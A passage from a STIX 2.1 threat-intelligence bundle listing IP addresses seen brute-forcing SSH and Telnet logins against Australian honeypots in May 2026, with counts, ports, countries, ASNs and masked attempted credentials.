      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.24.36.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c9937083-506a-45a8-8283-3a7ffaaf89d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.123.66.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--034e5a18-07b6-4b84-8fa4-eefa53c03e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.198.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a14781d2-4c92-42bf-a697-f03970af30ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.56.189.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6aec0f7c-65c2-4e61-b6a2-083fb97e84c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.80.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1bae1fde-3993-497c-a01b-f2dba323bd55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.169.122.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, u****u, t***1, 3**********4, c****e. Passwords observed (masked): !**************4, ***, 1*********0, 1******J, 1**7.",
      "id": "indicator--184eee54-d93a-4ab4-a3d8-f577933e37c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.206.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5dd55893-ac4e-40fe-b5ca-a469ffb002cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.166.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6329a0a8-54ef-4d43-bcdd-63c9a6de527e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.8.113.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--9e2aca05-ee26-4d46-9a1f-3e42ccccab32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.228.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b39fc5e7-0add-4e9f-b55c-d478b36f10b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.32.234.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 49759. Organisation(s): SerDi TeleCom, LTD.",
      "id": "indicator--bb77ec7c-f39b-43a7-abe6-e4b445878bfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.30.41.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--c6c02ab3-ca50-4299-9a32-bea392e8af11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.247.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--4fe6d5b7-9cdf-457f-9a83-111c2dfe1392",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.143.51.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--9175ae3c-9bdf-467a-b2a5-b24775e30e4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.54.51.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 272585. Organisation(s): SB NET TELECOM.",
      "id": "indicator--9e80f762-97c4-4495-ad7d-3d5dbfc6e06c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.159.94.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 5617. Organisation(s): Orange Polska Spolka Akcyjna.",
      "id": "indicator--8deaaedd-7b44-40ab-8f9a-d45dd1cba1ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.97.167.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5297bb21-2f5c-4779-9bc3-0969b49b978a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.73.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d88385d2-57ea-4449-82da-54a01e48f1e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.19.155.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1f6cd28b-5ba8-49af-a0ef-3d39eac680cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.31.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--c8d99a8a-6d7c-4ff4-8d1e-2f9536b9aec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.144.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ad4275c1-eff9-4261-a50a-c4c2e54fbdc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.89.235.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ad7ca234-fc8d-4c9d-84b8-87216c00b6e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.104.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d7190731-7688-4f06-a98b-a8da247c0f06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.17.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--3d9ec84f-dea3-4a83-88da-46b204611af2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.47.4.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--588eb360-d983-4c8a-971a-2bf5b5532013",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.175.135.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T18:15:10.000Z",
      "valid_until": "2026-06-20T18:15:09.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--4d0d9163-ef02-4373-a1f8-41e7acbd6869",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.44.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e2a7a3f1-2ddf-48ec-85cf-427183665dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.59.13.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7caf74f8-a4fb-48fc-9231-5512553bf01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.81.45.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b2d63d9d-bf64-437a-9dce-acd1376f1a16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.42.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--db295038-b3df-4473-a66a-bc9002dfe6d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.33.118.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2fbf7245-4ac4-4b02-9820-ea0ed1773183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.207.36.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--f9abe87c-6deb-43c2-aeda-2081200add50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.211.213.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c7472c37-2d5f-4076-ab85-45de00a244b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.86.141.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e88b50e9-ec4f-4428-a4c1-cdb1b6651987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.251.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--ac3f74be-b81f-4851-986c-58b986d9fe04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.217.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--facaea52-bd2e-4ffc-9f47-35c052f0531b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.224.161.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5e7900d9-0609-4019-b8c4-d9486fabeb8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
